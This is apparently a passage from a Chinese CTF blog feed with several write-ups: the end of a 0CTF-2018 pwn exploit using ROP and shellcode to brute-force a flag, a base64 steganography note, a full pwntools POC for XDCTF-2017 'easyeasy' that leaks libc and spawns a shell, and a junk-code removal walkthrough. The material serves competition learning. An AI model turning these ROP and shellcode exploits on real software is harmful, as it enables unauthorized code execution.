class="comment">#payload = &#x27;&#x27;.ljust(0x8000 - 1, &#x27;\x00&#x27;)</span></span><br><span class="line">    program.sendline(payload)</span><br><span class="line">    sleep(<span class="number">0.5</span>)</span><br><span class="line">    opc1 = [<span class="string">&#x27;=&#x27;</span>, <span class="string">&#x27;&gt;&#x27;</span>, <span class="string">&#x27;&lt;&#x27;</span>]</span><br><span class="line">    opc2 = [<span class="string">&#x27;!=&#x27;</span>, <span class="string">&#x27;&lt;=&#x27;</span>, <span class="string">&#x27;&gt;=&#x27;</span>]</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        program.sendline(<span class="string">&#x27;fuck!&#x27;</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        log.info(<span class="string">&#x27;flag[%d]%s%c&#x27;</span> % (n, opc1[op], ch))</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    log.info(<span class="string">&#x27;flag[%d]%s%c&#x27;</span> % (n, opc2[op], ch))</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">guess_payload</span>(<span class="params">op, n, ch</span>):</span><br><span class="line">    <span class="comment"># 0 相等</span></span><br><span class="line">    <span class="comment"># 1 大于</span></span><br><span class="line">    <span class="comment"># 2 小于</span></span><br><span class="line">    shellcode1 = asm(shellcraft.amd64.linux.<span class="built_in">open</span>(<span class="string">&#x27;flag&#x27;</span>))</span><br><span class="line">    shellcode1 += asm(<span class="string">&#x27;&#x27;&#x27;mov rbx, rax&#x27;&#x27;&#x27;</span>)</span><br><span class="line">    shellcode1 +=asm(shellcraft.amd64.linux.read(<span class="string">&#x27;rbx&#x27;</span>, <span class="number">0x601500</span>, <span class="number">70</span>))</span><br><span class="line">    shellcode2 = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    mov rax, 0x%x</span></span><br><span class="line"><span class="string">    xor rbx, rbx</span></span><br><span class="line"><span class="string">    mov bl, byte ptr [rax]</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span> % (<span class="number">0x601500</span> + n, ))</span><br><span class="line">    <span class="keyword">if</span> op == <span class="number">0</span>:</span><br><span class="line">        shellcode2 += asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        fuck:</span></span><br><span class="line"><span class="string">        cmp bl, 0x%x</span></span><br><span class="line"><span class="string">        jnz fuck</span></span><br><span class="line"><span class="string">        &#x27;&#x27;&#x27;</span> % ch)</span><br><span class="line">    <span class="keyword">elif</span> op == <span class="number">1</span>:</span><br><span class="line">        shellcode2 += asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        fuck:</span></span><br><span class="line"><span class="string">        cmp bl, 0x%x</span></span><br><span class="line"><span class="string">        jng fuck</span></span><br><span class="line"><span class="string">        &#x27;&#x27;&#x27;</span> % ch)</span><br><span class="line">    <span class="keyword">elif</span> op == <span class="number">2</span>:</span><br><span class="line">        shellcode2 += asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        fuck:</span></span><br><span class="line"><span class="string">        cmp bl, 0x%x</span></span><br><span class="line"><span class="string">        jnl fuck</span></span><br><span class="line"><span class="string">        &#x27;&#x27;&#x27;</span> % ch)</span><br><span class="line">    shellcode3 = asm(shellcraft.amd64.linux.exit(<span class="number">0</span>))</span><br><span class="line">    payload = make_shellcode(shellcode1 + shellcode2 + shellcode3)</span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">make_shellcode</span>(<span class="params">shellcode</span>):</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    remote libc</span></span><br><span class="line"><span class="string">    read</span></span><br><span class="line"><span class="string">    .text:00000000000DB6D0                 cmp     rax, 0FFFFFFFFFFFFF001h</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    mprotect 0xE44D0</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line">    <span class="comment"># 0x00601040 alarm got</span></span><br><span class="line">    <span class="comment"># 0x0601048  read  got</span></span><br><span class="line">    <span class="comment"># read(0, 0x00601040, 1)  rdi, rsi, rdx</span></span><br><span class="line">    <span class="comment">#</span></span><br><span class="line">    <span class="comment">#0x0000000000400a53 : pop rdi ; ret</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 初始时rdi=0 rbx=0</span></span><br><span class="line">    payload1 = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span> + p64(<span class="number">1</span>) <span class="comment">#rbp=1</span></span><br><span class="line">    <span class="comment"># 0x400A4E pop r12; pop r13; pop r14; pop r15 ret;</span></span><br><span class="line">    payload1 += p64(<span class="number">0x400A4c</span>) <span class="comment">#</span></span><br><span class="line">    payload1 += p64(<span class="number">0x0601048</span>) <span class="comment"># r12</span></span><br><span class="line">    payload1 += p64(<span class="number">1</span>) <span class="comment"># r13</span></span><br><span class="line">    payload1 += p64(<span class="number">0x00601040</span>) <span class="comment"># r14 alarm got</span></span><br><span class="line">    payload1 += p64(<span class="number">0</span>) <span class="comment"># r15</span></span><br><span class="line">    payload1 += p64(<span class="number">0x00400A30</span>) <span class="comment"># mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]</span></span><br><span class="line">    payload1 += <span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>    <span class="comment"># padding</span></span><br><span class="line">    payload1 += p64(<span class="number">0</span>) <span class="comment"># rbx</span></span><br><span class="line">    payload1 += p64(<span class="number">1</span>) <span class="comment"># rbp</span></span><br><span class="line">    payload1 += p64(<span class="number">0x0601048</span>) <span class="comment"># r12</span></span><br><span class="line">    payload1 += p64(<span class="number">0xa</span>) <span class="comment"># r13</span></span><br><span class="line">    payload1 += p64(<span class="number">0x0601068</span>) <span class="comment"># r14 bss</span></span><br><span class="line">    payload1 += p64(<span class="number">0</span>) <span class="comment"># r15</span></span><br><span class="line">    payload1 += p64(<span class="number">0x04009A7</span>) <span class="comment"># overflow again</span></span><br><span class="line">    payload1 = payload1.ljust(<span class="number">0x100</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload2 = <span class="string">&#x27;\x85&#x27;</span> <span class="comment"># 覆盖alarm got最后为0x80 则指向 syscall</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload3 = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span> + p64(<span class="number">1</span>) <span class="comment">#rbp=1</span></span><br><span class="line">    payload3 += p64(<span class="number">0x00400A30</span>) <span class="comment"># mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]</span></span><br><span class="line">    payload3 += <span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>    <span class="comment"># padding</span></span><br><span class="line">    payload3 += p64(<span class="number">0</span>) <span class="comment"># rbx</span></span><br><span class="line">    payload3 += p64(<span class="number">1</span>) <span class="comment"># rbp</span></span><br><span class="line">    payload3 += p64(<span class="number">0x00601040</span>) <span class="comment"># r12 syscall</span></span><br><span class="line">    payload3 += p64(<span class="number">0x7</span>) <span class="comment"># r13 0x1+0x2+0x4 rwx</span></span><br><span class="line">    payload3 += p64(<span class="number">0x1000</span>) <span class="comment"># r14 size</span></span><br><span class="line">    payload3 += p64(<span class="number">0x601000</span>) <span class="comment"># r15 addr</span></span><br><span class="line">    payload3 += p64(<span class="number">0x00400A30</span>) <span class="comment"># mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]</span></span><br><span class="line">    payload3 += <span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>    <span class="comment"># padding</span></span><br><span class="line">    payload3 += p64(<span class="number">0</span>) <span class="comment"># rbx</span></span><br><span class="line">    payload3 += p64(<span class="number">1</span>) <span class="comment"># rbp</span></span><br><span class="line">    payload3 += p64(<span class="number">0x0601048</span>) <span class="comment"># r12</span></span><br><span class="line">    payload3 += p64(<span class="number">0x200</span>) <span class="comment"># r13</span></span><br><span class="line">    payload3 += p64(<span class="number">0x601100</span>) <span class="comment"># r14 bss</span></span><br><span class="line">    payload3 += p64(<span class="number">0</span>) <span class="comment"># r15</span></span><br><span class="line">    payload3 += p64(<span class="number">0x04009A7</span>) <span class="comment"># overflow again</span></span><br><span class="line">    payload3 = payload3.ljust(<span class="number">0x100</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload4 = <span class="string">&#x27;a&#x27;</span>*<span class="number">0xa</span> <span class="comment"># 修改rax</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload5 = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span> + p64(<span class="number">1</span>) <span class="comment">#rbp=1</span></span><br><span class="line">    payload5 += p64(<span class="number">0x00400A30</span>)  <span class="comment"># mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]</span></span><br><span class="line">    payload5 += <span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>*<span class="number">7</span>    <span class="comment"># padding</span></span><br><span class="line">    payload5 += p64(<span class="number">0x601100</span>) <span class="comment"># ret to bss</span></span><br><span class="line">    payload5 = payload5.ljust(<span class="number">0x100</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload6 = shellcode</span><br><span class="line">    payload6 = payload6.ljust(<span class="number">0x200</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload = payload1 + payload2 + payload3 + payload4 + payload5 + payload6</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment">#payload = guess_payload(0, 0, ord(&#x27;f&#x27;))</span></span><br><span class="line">    <span class="comment">#log.info(repr(payload))</span></span><br><span class="line">    <span class="comment">#fp = open(&#x27;out.data&#x27;, &#x27;wb&#x27;)</span></span><br><span class="line">    <span class="comment">#fp.write(payload)</span></span><br><span class="line">    <span class="comment">#fp.close()</span></span><br><span class="line">    fuckflag()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>

<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>附件： <a href="blackhole.zip">blackhole.zip</a></p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>0ctf-2018</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>[XDCTF-2017] easyeasy</title>
    <url>/ctf/xdctf-2017/crypto/base64/</url>
    <content><![CDATA[<h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>题目中给出了一个txt，内容如下：</p>
<span id="more"></span>

<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">bWFpbigpe2ludCBpLG5bXT17KCgoMSA8PDEpPDwgKDE8PDEpPDwoMTw8Cm==</span><br><span class="line">ICAgICAgIDEpPDwoMTw8KDE+PjEpKSkrKCgxPDwxKTw8KDE8PDEpKSksKCgoMQp=</span><br><span class="line">ICAgICAgIDw8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxKQq=</span><br><span class="line">ICAgICAgIDw8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoMQp=</span><br><span class="line">ICAgICAgIDw8MSk8PCgxPDwxKTw8ICAgICAgICAgKDE8PDEpKS0oKDE8PDEpPDwoCr==</span><br><span class="line">ICAgIAkxPDwxKTw8KDE8PDEpKSsgICAgICAgICgoMTw8MSk8PCgxPDwoMT4+Ch==</span><br><span class="line">ICAgICAgIDEpKSkrKDE8PCgxPj4xKSkpICAgICAgICAgICAgICAgICAgICAgICAgLAq=</span><br><span class="line">ICAgICAgICgoKDE8PDEpPDwoMTw8MSkgICAgICAgICAgICAgICAgICAgICAgICA8PAo=</span><br><span class="line">ICAgICAgICgxPDwxKTw8KDE8PDEpKS0oKDEgPDwxKTw8KDE8PDEpIDw8KDE8PCgxCl==</span><br><span class="line">ICAgICAgID4+MSkpKS0oKDE8PDEpPDwoMTw8KDE+PjEpKSkpLCgoKDE8PDEpCp==</span><br><span class="line">ICAgICAgIDw8KCAgICAxPDwgICAgICAgICAgICAgICAgICAgICAgICAgIDEpCt==</span><br><span class="line">ICAgICAgIDw8KCAgICAxPDwgICAgICAgICAgICAgICAgICAgICAgICAgIDEpCu==</span><br><span class="line">ICAgICAgIDw8KCAxPDwxKSktKCgxIDw8MSk8PCAoMSA8PDEpPDwoMSA8PAr=</span><br><span class="line">ICAgICAgICgxPj4xKSkpLSgoMTw8MSk8PCgxPDwoMT4+MSkpKSksKCgoMTw8MSk8PAo=</span><br><span class="line">ICAgICAgICgxPDwxKTw8KDE8PDEpPDwoMTw8MSkpLSgoMTw8MSk8PCgxPDwxKTw8KAr=</span><br><span class="line">ICAgICAgIDE8PCgxPj4xKSkpLSgxPDwoMT4+ICAgICAgICAgIDEpKSksKCgoMTw8MSk8PAq=</span><br><span class="line">ICAgICAgICgxPDwxKTw8KDE8PDEpKSsgICAgKCgxPDwxKSAgICA8PCgxPDwxKTw8Ch==</span><br><span class="line">ICAgICAgICgxPDwoMT4+MSkpKS0oKCAgICAgMTw8MSk8PCggICAgICAxPDwoMT4+Co==</span><br><span class="line">ICAgICAgIDEpKSkpLCgoMTw8MSk8PCAgICAgICgxPDwxKSAgICAgICAgPDwoMTw8MSkpCl==</span><br><span class="line">ICAgICAgICwoKCgxPDwxKTw8KDE8PCAgICAgIDEpPDwoICAgICAgIDE8PDEpPDwoMTw8MSkpLQr=</span><br><span class="line">ICAgICAgICgoMTw8MSk8PCgxPDwxKSAgICAgKS0oMTw8KDE+PjEpICAgICAgKSksKCgoCj==</span><br><span class="line">ICAgICAgIDE8PDEpPDwoMTw8MSk8PCggICAgMTw8MSk8PCgxPDwxKSktICAgICgoMQp=</span><br><span class="line">ICAgICAgIDw8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMQq=</span><br><span class="line">ICAgICAgICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8PAp=</span><br><span class="line">ICAgICAgICgxPDwxKTw8KDE8PCgxPj4xKSkpLSgxPDwoMT4+MSkpKSwgKCgoMTw8MQp=</span><br><span class="line">ICAgICAgICk8PCgxPDwxKTw8KDE8PDEpPDwoMTw8MSkpLSgoMTw8MSk8PCAoMSAgCk==</span><br><span class="line">ICAgICAgIDw8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxCp==</span><br><span class="line">ICAgICAgICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw8Cn==</span><br><span class="line">ICAgICAgICggICAgIDE8PCgxPj4xKSkpKyAgICAoMTw8MSkpLCgoKDEgICAgIDw8Cj==</span><br><span class="line">ICAgICAgIDEpICAgIDw8KDE8PDEpPDwgICAgICAoMTw8MSk8PCgxICAgICAgIDw8Ck==</span><br><span class="line">ICAgICAgIDEgICAgICkpLSgoMTw8MSk8PCAgICAoMTw8MSk8PCgxICAgICAgIDw8Cj==</span><br><span class="line">ICAgICAgICggICAgIDE+PjEpKSktKCgxICAgICAgPDwxKTw8KDE8PCAgICAgICAoCj==</span><br><span class="line">ICAgICAgIDEgICAgID4+MSkpKSksKCgoMSAgICAgPDwxKTw8KDEgICAgICAgIDw8Cg==</span><br><span class="line">ICAgICAgIDEgICAgICk8PCgxPDwxKTw8KCAgICAgMTw8MSkpLSgoMSAgICAgIDw8Cm==</span><br><span class="line">ICAgICAgIDEgICAgICk8PCgxPDwxKTw8ICAgICAoMTw8MSkpKygoICAgICAgICAxCv==</span><br><span class="line">ICAgICAgIDw8MSk8PCgxPDwoMT4+MSkpKSksKCgoMTw8MSk8PCgxPDwxKSA8PCgxCm==</span><br><span class="line">ICAgICAgIDw8MSkpKygxPDwoMT4+MSkpKSwoKCgxPDwxKTw8KDE8PDEpKSArKCgxCs==</span><br><span class="line">ICAgICAgIDw8MSk8PCAoMTw8KDE+PjEpKSkgKyAoMTw8ICgxPj4xKSkpfSA7Zm9yCn==</span><br><span class="line">ICAgICAgIChpPSgxPj4xKTtpPCgoKDE8PDEpPDwoMSA8PDEpKSsoKDEgPDwxKTw8KAr=</span><br><span class="line">ICAgICAgIDE8PCgxPj4xKSkpKygxPDwxKSk7aSsrKSAgcHJpbnRmKCIlYyIsbltpXSk7fQp=</span><br></pre></td></tr></table></figure>

<p>很显然里面是很多行base64，由于base64本身可以编码换行符，一般没必要编码成这样，所以考虑这是个base64隐写题，使用脚本一跑即可得到flag</p>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>base64隐写: <a href="/technical/misc/base64/">base64详解</a></p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>xdctf-2017</category>
        <category>crypto</category>
      </categories>
  </entry>
  <entry>
    <title>[XDCTF-2017] easyeasy</title>
    <url>/ctf/xdctf-2017/pwn/easyeasy/</url>
    <content><![CDATA[<h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p>拿到题目后F5，发现是个菜单题，并且给出了libc</p>
<p>linux下如何加载指定的so文件，可以见： <a href="http://blog.plusls.cn/technical/binary/pwn/load-so/">Linux 加载动态链接库原理分析</a></p>
<span id="more"></span>

<p>先挑重点说吧</p>
<h4 id="sub-400B4B"><a href="#sub-400B4B" class="headerlink" title="sub_400B4B"></a>sub_400B4B</h4><p>在这里 <strong>qword_6020D0</strong> 这个全局变量被分析出了奇怪的语法</p>
<p><img data-src="/ctf/xdctf-2017/pwn/easyeasy/img/1.png" alt="奇怪的语法"></p>
<p>考虑它是一个结构体一样的东西，根据F5手动创建一个结构体</p>
<p><img data-src="/ctf/xdctf-2017/pwn/easyeasy/img/2.png" alt="结构体"></p>
<p>创建后F5便正常了许多</p>
<p><img data-src="/ctf/xdctf-2017/pwn/easyeasy/img/3.png" alt="正常"></p>
<p>在阅读源码后可以得知，在执行 <strong>sub_400985</strong> 时可以将 fun4 的最后一个byte重写，也就是说在</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">(*(<span class="type">void</span> (**)(<span class="type">void</span>))(*qword_6020D0)-&gt;fun4)();</span><br></pre></td></tr></table></figure>

<p>可以执行到 <strong>0x400A**</strong></p>
<p>在翻看汇编代码时发现，若是让其执行到 <strong>0x00400AAF</strong> ，则它在执行其内部的 <strong>0x400A35</strong> 时</p>
<p>会触发栈溢出，同时 <strong>0x400A35</strong> 并没有 <strong>canary</strong> ，简直完美的利用条件</p>
<p><img data-src="/ctf/xdctf-2017/pwn/easyeasy/img/4.png" alt="溢出点"></p>
<p>以这个图为例，可以构造如下rop链</p>
<p><strong>0x7ffca4b29fb0</strong> -&gt; <strong>pop rdi;retn</strong></p>
<p><strong>0x7ffca4b29fb8</strong> -&gt; <strong>&#x2F;bin&#x2F;sh</strong></p>
<p><strong>0x7ffca4b29fc0</strong> -&gt; <strong>system</strong></p>
<p>即可获取shell</p>
<p><strong>pop rdi;retn</strong> 已经找到</p>
<p>也就是说，若是泄露了 <strong>libc</strong> 的地址，那么一切问题都解决了。</p>
<p>（然而智障的我被坑了好久</p>
<p>下面这句话是重点！</p>
<p><strong>在初始化got表时，会调用libc中的某个函数，也就是说在初始化got表时，会在栈上残留一些指向libc的指针！</strong></p>
<p><strong>注：若是需要这样泄露libc地址时，千万不要乱nop函数，比如nop掉alarm函数，这样会导致栈信息的变化。同时这个操作极其依赖libc，最好能加载泄露的libc进行调试</strong></p>
<p>在 <strong>sub_400A35</strong> 中，它写入数据时并没有在结尾加 <strong>‘\0’</strong> ，因此可以借它泄露信息。</p>
<p>在 <strong>0x0400AC4</strong> 下断点，查看此时的内存</p>
<p><img data-src="/ctf/xdctf-2017/pwn/easyeasy/img/5.png" alt="stack"></p>
<p>可以知道 <strong>0x7ffc07edc048</strong> 指向了该libc的 <strong>libc.bss(4176)</strong> 这个位置，这样一来就有了所有的信息</p>
<h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><p>下面为本题的 POC</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*- #</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line">LOCAL = <span class="number">1</span></span><br><span class="line">VERBOSE = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">call_byte</span>(<span class="params">program, addr</span>):</span><br><span class="line">    program.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">    program.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    <span class="comment"># 32=0x20 恰好为最后一个函数指针的位置</span></span><br><span class="line">    program.sendline(<span class="string">&#x27;32&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">        program.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">        program.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    program.recvuntil(<span class="string">&#x27;Give me your luckynum:\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    program.sendline(<span class="built_in">str</span>(addr))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">call</span>(<span class="params">program, rbp, addr_list</span>):</span><br><span class="line">    call_byte(program, <span class="number">0xAF</span>) <span class="comment">#call read</span></span><br><span class="line">    payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">8</span> + p64(rbp)</span><br><span class="line">    <span class="keyword">for</span> addr <span class="keyword">in</span> addr_list:</span><br><span class="line">        payload += p64(addr)</span><br><span class="line"></span><br><span class="line">    program.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_libc_addr</span>(<span class="params">program, libc</span>):</span><br><span class="line">    program.send(<span class="string">&#x27;a&#x27;</span> * <span class="number">0x7</span> + <span class="string">&#x27;[&#x27;</span>)</span><br><span class="line">    program.recvuntil(<span class="string">&#x27;[&#x27;</span>)</span><br><span class="line">    addr = u64(program.recv(<span class="number">6</span>) + <span class="string">&#x27;\x00\x00&#x27;</span>) <span class="comment"># _IO_stdfile_2_lock wtf????</span></span><br><span class="line"></span><br><span class="line">    program.recvuntil(<span class="string">&#x27;5. exit\n&#x27;</span>)</span><br><span class="line">    program.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    program.sendline(<span class="string">&#x27;10&#x27;</span>)</span><br><span class="line">    program.sendline(<span class="string">&#x27;plusls&#x27;</span>)</span><br><span class="line">    program.recvuntil(<span class="string">&#x27;Success!&#x27;</span>)</span><br><span class="line">    program.recvuntil(<span class="string">&#x27;5. exit\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    libc_addr = addr - libc.bss(<span class="number">4176</span>)</span><br><span class="line">    log.info(<span class="string">&#x27;libc addr=&#x27;</span> + <span class="built_in">hex</span>(libc_addr))</span><br><span class="line">    log.info(<span class="string">&#x27;system addr=&#x27;</span> + <span class="built_in">hex</span>(libc_addr + libc.symbols[<span class="string">&#x27;system&#x27;</span>]))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> libc_addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="keyword">if</span> VERBOSE:</span><br><span class="line">        context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">    <span class="keyword">if</span> LOCAL:</span><br><span class="line">        program = process(<span class="string">&#x27;./easyeasy&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        program = remote(<span class="string">&#x27;117.34.105.149&#x27;</span>, <span class="number">1251</span>)</span><br><span class="line">    <span class="keyword">if</span> DEBUG:</span><br><span class="line">        gdb.attach(program)</span><br><span class="line"></span><br><span class="line">    libc = ELF(<span class="string">&#x27;libc.so.6&#x27;</span>)</span><br><span class="line">    libc_addr = get_libc_addr(program, libc)</span><br><span class="line"></span><br><span class="line">    addr_list = [<span class="number">0x4010b3</span>,libc_addr + <span class="built_in">list</span>(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))[<span class="number">0</span>], libc_addr + libc.symbols[<span class="string">&#x27;system&#x27;</span>]]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    call(program, u64(<span class="string">&#x27;aaaaaaaa&#x27;</span>), addr_list)</span><br><span class="line"></span><br><span class="line">    program.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>flag我也忘了</p>
<h3 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h3><p>附件： <a href="easyeasy.zip">easyeasy.zip</a></p>
<p>包含idb文件以及题目</p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>xdctf-2017</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>[XDCTF-2017] destory</title>
    <url>/ctf/xdctf-2017/reverse/destory/</url>
    <content><![CDATA[<h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>本题会对注册表进行修改，请自行nop掉该函数或者放到虚拟机运行</p>
<span id="more"></span>

<h3 id="main函数"><a href="#main函数" class="headerlink" title="main函数"></a>main函数</h3><p>拿到题目拖进ida，发现main函数无法f5，提示这个地方不是个函数</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/1.png" alt="不是函数"></p>
<p>当手动创建函数时提示 **The function has undefined instruction&#x2F;data at the specified address. **</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/2.png" alt="创建失败"></p>
<p>这是因为ida无法识别这个函数的开始和结束</p>
<p>这时只需要从main函数开始一直选中到retn，这时这片区域都变成了灰色</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/3.png" alt="灰色"></p>
<p>按下p后函数便创建成功了，此时main函数内部也从红色变成了黑色。</p>
<p>但是f5的结果却非常的奇怪</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/4.png" alt="F5"></p>
<p>到汇编一看，是因为在 0x4015F5 附近加了花指令</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/5.png" alt="0x4015F5 "></p>
<p>手动 undefined 这片区域，再手动 code 后便恢复了正常</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/6.png" alt="asm"></p>
<p>f5也可以正常识别</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/7.png" alt="F5"></p>
<h3 id="sub-401360"><a href="#sub-401360" class="headerlink" title="sub_401360"></a>sub_401360</h3><p>很明显，在这存在花指令，导致ida对其识别有些问题</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/8.png" alt="花指令"></p>
<p>考虑用 x32dbg随便打开一个程序，将 <strong>00401366</strong> 到 <strong>0040137F</strong> 的代码</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">E8 04 00 00 00 51 16 EB 0F 58 EB 03 5B 89 33 83 C0 02 EB 01 91 50 C3 38 74 03</span><br></pre></td></tr></table></figure>

<p>复制到其中</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/9.png" alt="x32dbg"></p>
<p>当你跟完后（或者可以不用动态调试直接用脑思考）会发现，显然它跳到了 <strong>0040137E</strong></p>
<p>也就是说 这个call以及下面的语句，等价于 <strong>jmp 0x0040137E</strong> ，修改一下即可</p>
<p>类似的花指令的去除将不再阐述。</p>
<p>去除后F5便正常了许多</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/10.png" alt="F5"></p>
<p>注: 这一段花指令其实可以不用去除，作为教学内容提一嘴</p>
<h3 id="sub-4013D0"><a href="#sub-4013D0" class="headerlink" title="sub_4013D0"></a>sub_4013D0</h3><p>这个函数F5又失败了，ida提示 <strong>positive sp value has benn found</strong></p>
<p>这一般是由于堆栈不平衡引起的</p>
<p>发现还是花指令引起的，将这一段变为未定义，手动修复一下堆栈平衡</p>
<p><img data-src="/ctf/xdctf-2017/reverse/destory/img/11.png" alt="花"></p>
<p>修复后即可成功F5</p>
<h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>逆向后由于flag格式为 <strong>XDCTF{</strong> 可以通过如下脚本得到第一个 <strong>.</strong> 前的数字的前缀为 <strong>56451</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">s = <span class="string">&quot;5D4A4759477D4C6836723437316E3B6E717A787E747F&quot;</span></span><br><span class="line">xdctf=<span class="string">&#x27;XDCTF&#123;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(xdctf)):</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">int</span>(s[i*<span class="number">2</span>:i*<span class="number">2</span> + <span class="number">2</span>], <span class="number">16</span>) - <span class="built_in">ord</span>(xdctf[i]))</span><br></pre></td></tr></table></figure>

<p>使用下面的代码即可计算出该数字为 <strong>56451243</strong>  </p>
